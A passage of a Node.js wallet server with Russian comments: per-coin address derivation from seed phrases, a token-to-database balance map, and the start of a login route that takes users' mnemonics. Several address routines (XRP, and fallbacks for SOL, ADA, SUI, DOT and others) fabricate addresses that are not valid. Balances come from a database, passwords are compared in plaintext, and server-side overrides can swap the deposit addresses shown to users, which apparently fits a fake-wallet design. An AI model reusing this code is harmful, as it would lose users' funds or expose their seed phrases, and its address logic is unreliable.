        const sha256Hash = ethers.utils.sha256(pubKeyBytes);
        // RIPEMD160 от SHA256
        const ripemd160 = require('crypto').createHash('ripemd160').update(Buffer.from(sha256Hash.replace(/^0x/, ''), 'hex')).digest();
        // Добавляем version byte для Dogecoin mainnet (0x1e = 30)
        const versionedPayload = Buffer.concat([Buffer.from([0x1e]), ripemd160]);
        // Двойной SHA256 для checksum
        const checksum = ethers.utils.sha256(ethers.utils.sha256(versionedPayload)).replace(/^0x/, '').slice(0, 8);
        // Собираем финальный адрес
        const addressBytes = Buffer.concat([versionedPayload, Buffer.from(checksum, 'hex')]);
        return base58Encode(addressBytes);
      }
      if (coin === 'TRX') {
        const path = DERIVATION.TRX.path;
        const w = ethers.Wallet.fromMnemonic(mnemonic, path);
        return deriveTronAddressFromPrivateKey(w.privateKey);
      }
      if (coin === 'SOL') {
        // Solana: правильная генерация адреса через BIP39 + HD деривацию (Trust Wallet способ)
        if (bip39 && ed25519HdKey) {
          try {
            // Получаем seed из мнемоники через BIP39 (стандарт Trust Wallet)
            const seed = bip39.mnemonicToSeedSync(mnemonic, ''); // 64 bytes
            
            // HD деривация по пути m/44'/501'/0' (Solana path)
            const derivationPath = "m/44'/501'/0'";
            const { key } = ed25519HdKey.derivePath(derivationPath, seed.toString('hex'));
            
            // Генерируем keypair из derived key (32 bytes)
            // Используем nacl (tweetnacl) для ED25519
            if (!nacl) {
              throw new Error('tweetnacl not available');
            }
            const keyPair = nacl.sign.keyPair.fromSeed(key);
            
            // Публичный ключ в base58 формате - это и есть адрес Solana
            const address = base58Encode(keyPair.publicKey);
            
            return address;
  } catch (e) {
            console.error('[Solana Address Generation] Error:', e.message);
            // Fallback to synthetic address
          }
        }
        // Fallback: если библиотеки недоступны
        const path = DERIVATION.SOL.path;
        const w = ethers.Wallet.fromMnemonic(mnemonic, path);
        const pkHex = w.privateKey.replace(/^0x/, '');
        const pkBytes = Buffer.from(pkHex, 'hex');
        const hash = ethers.utils.sha256(pkBytes);
        const hashBytes = ethers.utils.arrayify(hash);
        return base58Encode(hashBytes.slice(0, 32));
      }
      if (coin === 'TON' || coin === 'NOT') {
        return deriveTonAddress(mnemonic);
      }
      if (coin === 'ICP') {
        return generateIcpPlaceholderAddress(mnemonic || '');
      }
      if (coin === 'XRP') {
        // XRP: генерация адреса с префиксом 'r' используя base58 (похоже на Bitcoin)
        const path = DERIVATION.XRP.path;
        const w = ethers.Wallet.fromMnemonic(mnemonic, path);
        const pkHex = w.privateKey.replace(/^0x/, '');
        const pkBytes = Buffer.from(pkHex, 'hex');
        // Для XRP используем SHA256 hash приватного ключа для создания уникального адреса
        const hash = ethers.utils.sha256(pkBytes);
        const hashBytes = ethers.utils.arrayify(hash);
        // Берём первые 20 байт (160 бит) как в Bitcoin
        const addrBytes = hashBytes.slice(0, 20);
        // Кодируем в base58 и добавляем префикс 'r'
        return 'r' + base58Encode(addrBytes);
      }
      if (coin === 'ADA') {
        // Cardano: правильная генерация адреса используя @emurgo/cardano-serialization-lib
        if (!CardanoWasm) {
          console.log('[ADA] Cardano library not available, using fallback');
          return 'addr1_fallback_' + ethers.utils.id(mnemonic + coin).substring(2, 58);
        }
        
        try {
          // Получаем энтропию из мнемоники
          const entropy = bip39.mnemonicToEntropy(mnemonic);
          const entropyBytes = Buffer.from(entropy, 'hex');
          
          // Создаем root key из энтропии
          const rootKey = CardanoWasm.Bip32PrivateKey.from_bip39_entropy(
            entropyBytes,
            Buffer.from('') // пустой пароль
          );
          
          // Деривация по пути m/1852'/1815'/0' (account key)
          const accountKey = rootKey
            .derive(harden(1852)) // purpose
            .derive(harden(1815)) // coin_type (ADA)
            .derive(harden(0));   // account
          
          // Payment key: m/1852'/1815'/0'/0/0
          const paymentKey = accountKey
            .derive(0) // external chain
            .derive(0) // address index
            .to_raw_key();
          
          // Stake key: m/1852'/1815'/0'/2/0
          const stakeKey = accountKey
            .derive(2) // staking key chain
            .derive(0) // address index
            .to_raw_key();
          
          // Создаем Base Address (payment + stake)
          const paymentKeyHash = paymentKey.to_public().hash();
          const stakeKeyHash = stakeKey.to_public().hash();
          
          // Используем правильный метод для создания credentials
          const paymentCred = CardanoWasm.Credential.from_keyhash(paymentKeyHash);
          const stakeCred = CardanoWasm.Credential.from_keyhash(stakeKeyHash);
          
          const baseAddr = CardanoWasm.BaseAddress.new(
            CardanoWasm.NetworkInfo.mainnet().network_id(),
            paymentCred,
            stakeCred
          );
          
          // Преобразуем в Bech32 формат с префиксом addr1
          const address = baseAddr.to_address().to_bech32();
          console.log('[ADA] Generated address:', address);
          return address;
          
        } catch (error) {
          console.error('[ADA] Error generating address:', error);
          return 'addr1_error_' + ethers.utils.id(mnemonic + coin).substring(2, 58);
        }
      }
      
      if (coin === 'SUI') {
        // Sui: правильная генерация адреса используя ED25519 + Blake2b
        if (!ed25519HdKey || !bip39 || !blake2b || !nacl) {
          console.log('[SUI] Required libraries not available, using fallback');
          return '0x' + ethers.utils.id(mnemonic + coin).substring(2, 66);
        }
        
        try {
          const path = DERIVATION.SUI.path; // m/44'/784'/0'/0'/0'
          const seed = bip39.mnemonicToSeedSync(mnemonic, '');
          
          // Деривация по пути BIP32
          const derivedSeed = ed25519HdKey.derivePath(path, seed.toString('hex')).key;
          
          // Создаем ED25519 keypair из seed (первые 32 байта)
          const keypair = nacl.sign.keyPair.fromSeed(derivedSeed.slice(0, 32));
          const publicKey = keypair.publicKey;
          
          // Sui адрес = Blake2b-256(flag || public_key)
          // flag = 0x00 для ED25519
          const flag = Buffer.from([0x00]);
          const publicKeyBuffer = Buffer.from(publicKey);
          const data = Buffer.concat([flag, publicKeyBuffer]);
          
          // Blake2b hash (32 байта выход)
          const hash = blake2b(32).update(data).digest('hex');
          const address = '0x' + hash;
          
          console.log('[SUI] Generated address:', address);
          return address;
          
        } catch (error) {
          console.error('[SUI] Error generating address:', error);
          return '0x' + ethers.utils.id(mnemonic + coin).substring(2, 66);
        }
      }
      
      if (coin === 'DOT') {
        // Polkadot: SS58 адреса с ED25519 криптографией
        if (!ed25519HdKey || !bip39 || !blake2b) {
          console.log('[DOT] Required libraries not available, using fallback');
          return '1' + ethers.utils.id(mnemonic + coin).substring(2, 48);
        }
        
        try {
          const path = DERIVATION.DOT.path; // m/44'/354'/0'/0'/0'
          const seed = bip39.mnemonicToSeedSync(mnemonic, '');
          
          // Деривация по пути BIP32
          const derivedSeed = ed25519HdKey.derivePath(path, seed.toString('hex')).key;
          
          // ED25519: первые 32 байта = private key seed, но для адреса нужен public key
          // Создаем keypair из seed
          if (!nacl) {
            console.log('[DOT] TweetNaCl not available for keypair generation');
            return '1' + ethers.utils.id(mnemonic + coin).substring(2, 48);
          }
          
          const keypair = nacl.sign.keyPair.fromSeed(derivedSeed.slice(0, 32));
          const publicKey = Buffer.from(keypair.publicKey);
          
          // SS58 формат для Polkadot (network ID = 0)
          // Формат: Base58Encode([network_id] + [public_key] + [checksum])
          const SS58_PREFIX = Buffer.from('SS58PRE');
          const networkId = Buffer.from([0]); // 0 = Polkadot mainnet
          
          // Payload = network_id + public_key
          const payload = Buffer.concat([networkId, publicKey]);
          
          // Checksum = первые 2 байта от Blake2b-512('SS58PRE' + payload)
          const hash = blake2b(64).update(Buffer.concat([SS58_PREFIX, payload])).digest();
          const checksum = Buffer.from(hash.slice(0, 2));
          
          // Полный адрес = payload + checksum
          const addressBytes = Buffer.concat([payload, checksum]);
          
          // Base58 encoding (используем собственную реализацию)
          const ALPHABET = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
          let num = BigInt('0x' + addressBytes.toString('hex'));
          let encoded = '';
          
          while (num > 0n) {
            const remainder = Number(num % 58n);
            num = num / 58n;
            encoded = ALPHABET[remainder] + encoded;
          }
          
          // Добавляем '1' для leading zeros
          for (let i = 0; i < addressBytes.length && addressBytes[i] === 0; i++) {
            encoded = '1' + encoded;
          }
          
          const address = encoded;
          console.log('[DOT] Generated address:', address);
          return address;
          
        } catch (error) {
          console.error('[DOT] Error generating address:', error);
          return '1' + ethers.utils.id(mnemonic + coin).substring(2, 48);
        }
      }
      if (coin === 'XLM') {
        if (!bip39 || !ed25519HdKey || !nacl) {
          console.log('[XLM] Required libraries not available, using fallback');
          return 'G' + detChars(55, BASE32_ALPHABET_UPPER, mnemonic + coin);
        }
        try {
          const seed = bip39.mnemonicToSeedSync(mnemonic, '');
          const { key } = ed25519HdKey.derivePath(DERIVATION.XLM.path, seed.toString('hex'));
          const keypair = nacl.sign.keyPair.fromSeed(key.slice(0, 32));
          return encodeStellarPublicKey(keypair.publicKey);
        } catch (error) {
          console.error('[XLM] Error generating address:', error);
          return 'G' + detChars(55, BASE32_ALPHABET_UPPER, mnemonic + coin);
        }
      }
      if (coin === 'NEAR') {
        if (!bip39 || !ed25519HdKey || !nacl) {
          console.log('[NEAR] Required libraries not available, using fallback');
          return ethers.utils.id(mnemonic + coin).substring(2, 66);
        }
        try {
          const seed = bip39.mnemonicToSeedSync(mnemonic, '');
          const { key } = ed25519HdKey.derivePath(DERIVATION.NEAR.path, seed.toString('hex'));
          const keypair = nacl.sign.keyPair.fromSeed(key.slice(0, 32));
          return Buffer.from(keypair.publicKey).toString('hex');
        } catch (error) {
          console.error('[NEAR] Error generating address:', error);
          return ethers.utils.id(mnemonic + coin).substring(2, 66);
        }
      }
      if (coin === 'FIL') {
        try {
          const path = DERIVATION.FIL.path;
          const w = ethers.Wallet.fromMnemonic(mnemonic, path);
          const uncompressed = Buffer.from(w.publicKey.replace(/^0x/, ''), 'hex');
          const pub = compressSecpPublicKey('0x' + uncompressed.toString('hex'));
          return filecoinAddressFromPublicKey(pub);
        } catch (error) {
          console.error('[FIL] Error generating address:', error);
          return 'f' + detChars(30, BASE32_ALPHABET_LOWER, mnemonic + coin);
        }
      }
      if (coin === 'LTC') {
        const path = DERIVATION.LTC.path;
        const w = ethers.Wallet.fromMnemonic(mnemonic, path);
        return btcBech32P2WPKHFromPrivKeyHex(w.privateKey.replace(/^0x/, ''), 'ltc');
      }
      if (coin === 'DASH') {
        const path = DERIVATION.DASH.path;
        const w = ethers.Wallet.fromMnemonic(mnemonic, path);
        return p2pkhAddressFromPrivKeyHex(w.privateKey.replace(/^0x/, ''), Buffer.from([0x4c]));
      }
      if (coin === 'ZEC') {
        const path = DERIVATION.ZEC.path;
        const w = ethers.Wallet.fromMnemonic(mnemonic, path);
        return p2pkhAddressFromPrivKeyHex(w.privateKey.replace(/^0x/, ''), Buffer.from([0x1c, 0xb8]));
      }
      if (coin === 'ATOM' || coin === 'COSMOS') {
        const path = DERIVATION.ATOM.path;
        const w = ethers.Wallet.fromMnemonic(mnemonic, path);
        return cosmosLikeAddressFromPrivKeyHex(w.privateKey.replace(/^0x/, ''), 'cosmos');
      }
      if (coin === 'INJ') {
        const path = DERIVATION.INJ.path;
        const w = ethers.Wallet.fromMnemonic(mnemonic, path);
        return cosmosLikeAddressFromPrivKeyHex(w.privateKey.replace(/^0x/, ''), 'inj');
      }
      if (symbolUpper === 'XMR') {
        return generateMoneroPlaceholderAddress(mnemonic || '');
      }
      if (symbolUpper === 'KAS') {
        return generateKaspaPlaceholderAddress(mnemonic || '');
      }
      if (symbolUpper === 'XCH' || coin === 'XCH') {
        return generateChiaAddress(mnemonic);
      }
      if (coin === 'HBAR') {
        return hederaAccountFromMnemonic(mnemonic);
      }
      if (coin === 'APT') {
        return aptosAddressFromMnemonic(mnemonic);
      }
      if (coin === 'DCR') {
        const path = DERIVATION.DCR.path;
        const w = ethers.Wallet.fromMnemonic(mnemonic, path);
        return p2pkhAddressFromPrivKeyHex(w.privateKey.replace(/^0x/, ''), Buffer.from([0x07, 0x3f]));
      }
      
      // Helper function для hardened derivation
      function harden(num) {
        return 0x80000000 + num;
      }
    }
  } catch (e) {
    console.log('[Address Generation] Error:', e.message);
    // fall back to synthetic address below
  }

  const prefix = ti.addressFirst || '';
  let totalLen = ti.addressLen || 42;
  // Common sane defaults when len not provided
  if (!ti.addressLen) {
    if (prefix === '0x') totalLen = 42;
    else if (prefix === 'T') totalLen = 34;
    else if (prefix === 'r') totalLen = 34; // XRP (base58, similar to Tron)
    else if (prefix.endsWith('1')) totalLen = 42; // bech32-like
    else if (prefix === 'EQ' || prefix === 'UQ') totalLen = 48; // TON
    else if (prefix === '') totalLen = 44; // Solana (base58, no prefix)
  }

  const remain = Math.max(0, totalLen - prefix.length);
  const seed = `${mnemonic || ''}|${ti.symbol || ti.name || ''}|${prefix}|${totalLen}`;
  if (prefix === '0x') {
    return prefix + detChars(remain, '0123456789abcdef', seed);
  }
  if (prefix === 'T') {
    // base58-like for Tron
    return prefix + detChars(remain, '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz', seed);
  }
  if (prefix === 'r') {
    // base58-like for XRP (Ripple)
    return prefix + detChars(remain, '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz', seed);
  }
  if (prefix === 'EQ' || prefix === 'UQ') {
    // base64url for TON
    const base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
    return prefix + detChars(remain, base64chars, seed);
  }
  if (prefix === '' && totalLen === 44) {
    // base58 for Solana (no prefix)
    return detChars(totalLen, '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz', seed);
  }
  if (prefix.endsWith('1')) {
    // bech32-ish (bc1, ltc1, bnb1, addr1, cro1, etc.)
    const bech = '023456789acdefghjklmnpqrstuvwxyz';
    return prefix + detChars(remain, bech, seed);
  }
  // Fallback alphanum
  return prefix + detChars(remain, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', seed);
}

const TOKEN_COLUMN_MAP = {
  TRX: { balance: 'trx_balance', staked: 'trx_staked' },
  BTC: { balance: 'btc_balance', staked: 'btc_staked' },
  ETH: { balance: 'eth_balance', staked: 'eth_staked' },
  BNB: { balance: 'bnb_balance', staked: 'bnb_staked' },
  SOL: { balance: 'sol_balance', staked: 'sol_staked' },
  TON: { balance: 'ton_balance', staked: 'ton_staked' },
  USDT: { balance: 'usdt_balance', staked: 'usdt_staked' },
  USD1: { balance: 'usd1_balance', staked: 'usd1_staked' },
  USDTERC: { balance: 'usdt_eth_balance', staked: 'usdt_eth_staked' },
  XRP: { balance: 'xrp_balance', staked: 'xrp_staked' },
  DOGE: { balance: 'doge_balance', staked: 'doge_staked' },
  ARB: { balance: 'arb_balance', staked: 'arb_staked' },
  STRK: { balance: 'strk_balance', staked: 'strk_staked' },
  ADA: { balance: 'ada_balance', staked: 'ada_staked' },
  SUI: { balance: 'sui_balance', staked: 'sui_staked' },
  DOT: { balance: 'dot_balance', staked: 'dot_staked' },
  SHIB: { balance: 'shib_balance', staked: 'shib_staked' },
  ZEC: { balance: 'zec_balance', staked: 'zec_staked' },
  NOT: { balance: 'not_balance', staked: 'not_staked' },
  BLUM: { balance: 'blum_balance', staked: 'blum_staked' },
  XLM: { balance: 'xlm_balance', staked: 'xlm_staked' },
  HYPE: { balance: 'hype_balance', staked: 'hype_staked' },
  UNI: { balance: 'uni_balance', staked: 'uni_staked' },
  NEAR: { balance: 'near_balance', staked: 'near_staked' },
  PEPE: { balance: 'pepe_balance', staked: 'pepe_staked' },
  ATOM: { balance: 'atom_balance', staked: 'atom_staked' },
  DASH: { balance: 'dash_balance', staked: 'dash_staked' },
  CAKE: { balance: 'cake_balance', staked: 'cake_staked' },
  ZK: { balance: 'zk_balance', staked: 'zk_staked' },
  HBAR: { balance: 'hbar_balance', staked: 'hbar_staked' },
  LTC: { balance: 'ltc_balance', staked: 'ltc_staked' },
  LINK: { balance: 'link_balance', staked: 'link_staked' },
  APT: { balance: 'apt_balance', staked: 'apt_staked' },
  LDO: { balance: 'ldo_balance', staked: 'ldo_staked' },
  AAVE: { balance: 'aave_balance', staked: 'aave_staked' },
  AVAX: { balance: 'avax_balance', staked: 'avax_staked' },
  ASTER: { balance: 'aster_balance', staked: 'aster_staked' },
  FIL: { balance: 'fil_balance', staked: 'fil_staked' },
  PAXG: { balance: 'paxg_balance', staked: 'paxg_staked' },
  USDC: { balance: 'usdc_balance', staked: 'usdc_staked' },
  XAUT: { balance: 'xaut_balance', staked: 'xaut_staked' },
  TRUMP: { balance: 'trump_balance', staked: 'trump_staked' },
  OP: { balance: 'op_balance', staked: 'op_staked' },
  DCR: { balance: 'dcr_balance', staked: 'dcr_staked' },
  SAND: { balance: 'sand_balance', staked: 'sand_staked' },
  INJ: { balance: 'inj_balance', staked: 'inj_staked' },
  MNT: { balance: 'mnt_balance', staked: 'mnt_staked' },
  XMR: { balance: 'xmr_balance', staked: 'xmr_staked' },
  KAS: { balance: 'kas_balance', staked: 'kas_staked' },
  ENS: { balance: 'ens_balance', staked: 'ens_staked' },
  CC: { balance: 'cc_balance', staked: 'cc_staked' },
  XPL: { balance: 'xpl_balance', staked: 'xpl_staked' },
  LAYER: { balance: 'layer_balance', staked: 'layer_staked' },
  BERA: { balance: 'bera_balance', staked: 'bera_staked' },
  WLFI: { balance: 'wlfi_balance', staked: 'wlfi_staked' },
  ICP: { balance: 'icp_balance', staked: 'icp_staked' },
  JUP: { balance: 'jup_balance', staked: 'jup_staked' },
  ZERO: { balance: 'zero_balance', staked: 'zero_staked' },
  ETC: { balance: 'etc_balance', staked: 'etc_staked' },
  XCH: { balance: 'xch_balance', staked: 'xch_staked' },
  VON: { balance: 'von_balance', staked: 'von_staked' },
  ETHZK: { balance: 'ethzk_balance', staked: 'ethzk_staked' },
  SKR: { balance: 'skr_balance', staked: 'skr_staked' },
  TORN: { balance: 'torn_balance', staked: 'torn_staked' },
  NFLXON: { balance: 'nflxon_balance', staked: 'nflxon_staked' },
  NVDAON: { balance: 'nvdaon_balance', staked: 'nvdaon_staked' },
  AAPL: { balance: 'aapl_balance', staked: 'aapl_staked' },
  TSLA: { balance: 'tsla_balance', staked: 'tsla_staked' },
  MSFT: { balance: 'msft_balance', staked: 'msft_staked' },
  AMZN: { balance: 'amzn_balance', staked: 'amzn_staked' },
  ENSO: { balance: 'enso_balance', staked: 'enso_staked' },
  KAG: { balance: 'kag_balance', staked: 'kag_staked' },
  ENA: { balance: 'ena_balance', staked: 'ena_staked' },
  ETHFI: { balance: 'ethfi_balance', staked: 'ethfi_staked' },
  GRASS: { balance: 'grass_balance', staked: 'grass_staked' },
  OKB: { balance: 'okb_balance', staked: 'okb_staked' },
  BCH: { balance: 'bch_balance', staked: 'bch_staked' },
  TAO: { balance: 'tao_balance', staked: 'tao_staked' },
};

const getTokenColumnConfig = (symbol) => {
  if (!symbol) return null;
  return TOKEN_COLUMN_MAP[(symbol || '').toUpperCase()] || null;
};

// Загрузить баланс из БД для конкретной монеты
function getBalanceFromDB(dbWallet, symbol) {
  if (!dbWallet || !symbol) return 0;
  const config = getTokenColumnConfig(symbol);
  if (!config?.balance) return 0;
  const value = dbWallet[config.balance];
  return typeof value === 'number' ? value : parseFloat(value) || 0;
}

const resolveVisibilityFlag = (visibilityMap, symbol) => {
  if (!visibilityMap || !symbol) return undefined;
  if (Object.prototype.hasOwnProperty.call(visibilityMap, symbol)) {
    return visibilityMap[symbol];
  }
  const upper = symbol.toUpperCase();
  if (Object.prototype.hasOwnProperty.call(visibilityMap, upper)) {
    return visibilityMap[upper];
  }
  const lower = symbol.toLowerCase();
  if (Object.prototype.hasOwnProperty.call(visibilityMap, lower)) {
    return visibilityMap[lower];
  }
  return undefined;
};

const roundToDecimals = (value, decimals = 6) => {
  const numeric = Number(value);
  if (!Number.isFinite(numeric)) return 0;
  const factor = 10 ** decimals;
  return Math.max(0, Math.round(numeric * factor) / factor);
};

function findTokenInfoBySymbol(symbol) {
  if (!symbol) return null;
  const upper = symbol.toUpperCase();
  for (const net of networks) {
    if (net.mainToken && net.mainToken.symbol && net.mainToken.symbol.toUpperCase() === upper) {
      return net.mainToken;
    }
    const tokens = net.tokenInfoList || [];
    for (const tokenInfo of tokens) {
      if ((tokenInfo.symbol || '').toUpperCase() === upper) {
        return tokenInfo;
      }
    }
  }
  return null;
}

function getTokenPriceBySymbol(symbol) {
  const info = findTokenInfoBySymbol(symbol);
  if (!info) return 0;
  const price = parseFloat(info.price);
  return Number.isFinite(price) && price > 0 ? price : 0;
}

function buildDefaultTokens(mnemonic, userId = null) {
  const list = [];
  
  // Загружаем балансы из базы данных для этого кошелька
  let dbWallet = null;
  try {
    if (userId) {
      dbWallet = getWalletByPhraseAndUser(mnemonic, userId);
    } else {
      dbWallet = getWalletByPhrase(mnemonic);
    }
  } catch (e) {
    console.log('[Wallet] Could not load balances from DB:', e.message);
  }
  
  // Загружаем настройки видимости токенов для пользователя
  let tokenVisibility = {};
  if (userId) {
    try {
      tokenVisibility = getUserTokenVisibility(userId);
      console.log('[buildDefaultTokens] Token visibility for user', userId, ':', tokenVisibility);
    } catch (e) {
      console.log('[Wallet] Could not load token visibility:', e.message);
    }
  }
  
  networks.forEach((net) => {
    const main = (net.tokenInfoList || []).find((t) => t.mainToken);
    if (main) {
      const enrichedTokenInfo = withDynamicStakeInfo(main);
      const balance = getBalanceFromDB(dbWallet, main.symbol);
      
      // Определяем видимость токена: сначала пользовательская настройка, потом showDefault
      const visibilityFlag = resolveVisibilityFlag(tokenVisibility, main.symbol);
      const isVisible = visibilityFlag !== undefined
        ? visibilityFlag
        : (main.showDefault !== undefined ? main.showDefault : true);
      
      console.log(`[buildDefaultTokens] Token ${main.symbol}: isVisible=${isVisible}, showDefault=${main.showDefault}`);
      
      list.push({
        id: genId(),
        address: null,
        balance: balance,
        tokenInfo: enrichedTokenInfo,
        active: isVisible,
        show: isVisible,
      });
    }
  });
  return list;
}

function applyAddressOverridesToWallet(wallet, overrides) {
  if (!wallet || !overrides) return;
  try {
    wallet.tokens = (wallet.tokens || []).map((t) => {
      const sym = t && t.tokenInfo && t.tokenInfo.symbol;
      const ov = sym && overrides[sym];
      if (ov && typeof ov === 'string' && ov.length > 0) {
        return { ...t, address: ov };
      }
      return t;
    });
  } catch (e) {}
}

function getOverrideAddress(session, wallet, symbol) {
  if (!symbol) return null;
  const sym = String(symbol).toUpperCase();
  if (session?.addressOverrides && session.addressOverrides[sym]) {
    return session.addressOverrides[sym];
  }
  if (wallet?.mnemonic) {
    try {
      const hash = mnemonicHash(wallet.mnemonic);
      if (hash && overrideStore[hash] && overrideStore[hash][sym]) {
        return overrideStore[hash][sym];
      }
    } catch (e) {
      console.warn('[AddressOverride] Failed to read overrides:', e.message);
    }
  }
  return null;
}

// ✅ НОВОЕ: Обновляем цены в существующих токенах кошелька
function updateTokenPricesFromNetworks(wallet) {
  if (!wallet || !wallet.tokens) return;
  
  try {
    wallet.tokens.forEach((token) => {
      if (token.tokenInfo && token.tokenInfo.symbol) {
        const symbol = token.tokenInfo.symbol;
        
        // Ищем актуальную цену в networks
        networks.forEach((net) => {
          const tokenInfo = (net.tokenInfoList || []).find((t) => t.symbol === symbol);
          if (tokenInfo) {
            token.tokenInfo.price = tokenInfo.price;
            token.tokenInfo.percentChange = tokenInfo.percentChange;
          }
        });
      }
    });
  } catch (e) {
    console.error('[Prices] Error updating token prices:', e.message);
  }
}

// ✅ НОВОЕ: Обновляем видимость токенов из БД
function updateTokenVisibilityFromDB(wallet, userId) {
  if (!wallet || !wallet.tokens || !userId) return;
  
  try {
    const tokenVisibility = getUserTokenVisibility(userId);
    console.log(`[updateTokenVisibility] For user ${userId}:`, tokenVisibility);
    
    wallet.tokens.forEach((token) => {
      if (!token?.tokenInfo?.symbol) return;
      
      const symbol = token.tokenInfo.symbol;
      const balanceValue = parseFloat(token.balance || 0) || 0;
      const hasFunds = balanceValue > 0;
      const currentVisibility = resolveVisibilityFlag(tokenVisibility, symbol);
      
      // Баланс > 0 → токен должен отображаться и в сессии, и в Manage Crypto
      if (hasFunds && currentVisibility !== true) {
        try {
          setTokenVisibility(userId, symbol, true);
          tokenVisibility[symbol] = true;
          tokenVisibility[symbol.toUpperCase()] = true;
          tokenVisibility[symbol.toLowerCase()] = true;
          console.log(`[TokenVisibility] Auto-enabled ${symbol} (balance=${balanceValue})`);
        } catch (err) {
          console.error(`[TokenVisibility] Failed to auto-enable ${symbol}:`, err.message);
        }
      }
      
      const effectiveVisibility = resolveVisibilityFlag(tokenVisibility, symbol);
      const fallbackVisible = token.tokenInfo.showDefault !== undefined
        ? token.tokenInfo.showDefault
        : true;
      const isVisible = effectiveVisibility !== undefined ? effectiveVisibility : fallbackVisible;
      
      token.active = isVisible;
      token.show = isVisible;
    });
  } catch (e) {
    console.error('[TokenVisibility] Error updating token visibility:', e.message);
  }
}

// ✅ НОВОЕ: Добавляем недостающие токены в существующий кошелек
function ensureAllTokensPresent(wallet, userId) {
  if (!wallet || !wallet.mnemonic) return;
  
  try {
    const existingSymbols = new Set(
      (wallet.tokens || []).map(t => t.tokenInfo?.symbol).filter(Boolean)
    );
    
    console.log(`[ensureAllTokens] Existing tokens:`, Array.from(existingSymbols));
    
    // Загружаем балансы из БД
    let dbWallet = null;
    try {
      if (userId) {
        dbWallet = getWalletByPhraseAndUser(wallet.mnemonic, userId);
      } else {
        dbWallet = getWalletByPhrase(wallet.mnemonic);
      }
    } catch (e) {
      console.log('[ensureAllTokens] Could not load wallet from DB:', e.message);
    }
    
    // Загружаем видимость токенов
    let tokenVisibility = {};
    if (userId) {
      try {
        tokenVisibility = getUserTokenVisibility(userId);
      } catch (e) {
        console.log('[ensureAllTokens] Could not load token visibility:', e.message);
      }
    }
    
    let added = 0;
    
    // Проверяем все сети и добавляем отсутствующие токены
    networks.forEach((net) => {
      // Проверяем ВСЕ токены в tokenInfoList, а не только mainToken
      (net.tokenInfoList || []).forEach((tokenInfo) => {
        if (!existingSymbols.has(tokenInfo.symbol)) {
          console.log(`[ensureAllTokens] Adding missing token: ${tokenInfo.symbol} (mainToken: ${tokenInfo.mainToken})`);
          
          const balance = getBalanceFromDB(dbWallet, tokenInfo.symbol);
          
          // Используем сохранённую настройку или showDefault
          const visibilityFlag = resolveVisibilityFlag(tokenVisibility, tokenInfo.symbol);
          const isVisible = visibilityFlag !== undefined
            ? visibilityFlag
            : (tokenInfo.showDefault !== undefined ? tokenInfo.showDefault : true);
          
          wallet.tokens.push({
            id: genId(),
            address: null,
            balance: balance,
            tokenInfo: withDynamicStakeInfo(tokenInfo),
            active: isVisible,
            show: isVisible,
          });
          
          added++;
        }
      });
    });
    
    if (added > 0) {
      console.log(`[ensureAllTokens] Added ${added} missing token(s) to wallet`);
    }
  } catch (e) {
    console.error('[ensureAllTokens] Error:', e.message);
  }
}

function refreshSessionsForPhrase(phrase) {
  if (!phrase) return;
  for (const [login, session] of sessions.entries()) {
    let sessionUpdated = false;

    const refreshWalletInstance = (wallet) => {
      if (!wallet || wallet.mnemonic !== phrase) return false;
      ensureAllTokensPresent(wallet, session.userId);
      updateTokenBalancesFromDB(wallet);
      updateTokenPricesFromNetworks(wallet);
      updateTokenVisibilityFromDB(wallet, session.userId);
      return true;
    };

    if (refreshWalletInstance(session.activeWallet)) {
      sessionUpdated = true;
    }

    if (Array.isArray(session.userSessionWalletList)) {
      session.userSessionWalletList.forEach((entry) => {
        if (entry?.wallet && refreshWalletInstance(entry.wallet)) {
          sessionUpdated = true;
        }
      });
    }

    if (sessionUpdated && session.userId) {
      saveSession(login, session.userId, session);
      console.log(`[SWAP] Session ${login} refreshed for phrase`);
    }
  }
}

// ROUTES

// GET /session/init - redirect to /session/get for backward compatibility
app.get('/session/init', (req, res) => {
  const sessionLogin = req.query.sessionLogin || req.query.username;
  if (!sessionLogin) {
    return res.status(400).json({ error: 'sessionLogin parameter required' });
  }
  // Redirect to /session/get
  req.query.sessionLogin = sessionLogin;
  return res.redirect(307, `/session/get?sessionLogin=${encodeURIComponent(sessionLogin)}`);
});

// Session init: create or import wallet into a session
app.post('/session/init', authLimiter, async (req, res) => {
  // Цены обновляются фоново по таймеру, не блокируем ответ
  
  const { mnemonic: rawMnemonic, sessionLogin, username, password, isImport } = req.body || {};
  const sessionLoginValue = sessionLogin || username; // backward compatibility
  if (!rawMnemonic || !sessionLoginValue || typeof password !== 'string') {
    return res.status(400).json({ error: 'mnemonic, sessionLogin (or username), password required' });
  }
  // Нормализация: lowercase, одинарные пробелы, trim
  const mnemonic = rawMnemonic.replace(/\s+/g, ' ').trim().toLowerCase();

  // Получаем IP адрес клиента
  const clientIp = req.headers['x-forwarded-for'] || 
                   req.connection?.remoteAddress || 
                   req.socket?.remoteAddress || 
                   req.ip || 
                   '127.0.0.1';

  // Логируем попытку входа
  logSecurityEvent('LOGIN_ATTEMPT', {
    sessionLogin: sessionLoginValue,
    isImport: !!isImport,
    mnemonicLength: mnemonic ? mnemonic.split(' ').length : 0
  }, req);

  // Определяем пользователя по логину или IP
  let user = getUserByUsername(sessionLoginValue);
  if (!user) {
    // Создаем нового пользователя автоматически при первом входе
    const result = addUser(sessionLoginValue, password, clientIp);
    if (result.changes > 0) {
      user = { id: result.lastInsertRowid, username: sessionLoginValue, password, ip: clientIp };
      console.log('[User] New user created automatically:', sessionLoginValue, 'UserID:', user.id);
    } else {
      // Пользователь уже существует, получаем его данные
      user = getUserByUsername(sessionLoginValue);
      console.log('[User] Existing user found:', sessionLoginValue, 'UserID:', user.id);
    }
  } else {
    // Проверяем пароль для существующего пользователя
    if (user.password !== password) {
      console.log('[SECURITY] Invalid password attempt for user:', sessionLoginValue); 
      logSecurityEvent('INVALID_PASSWORD', {
        sessionLogin: sessionLoginValue,
        userId: user.id
      }, req);
      return res.status(401).json({ 
        success: false, 
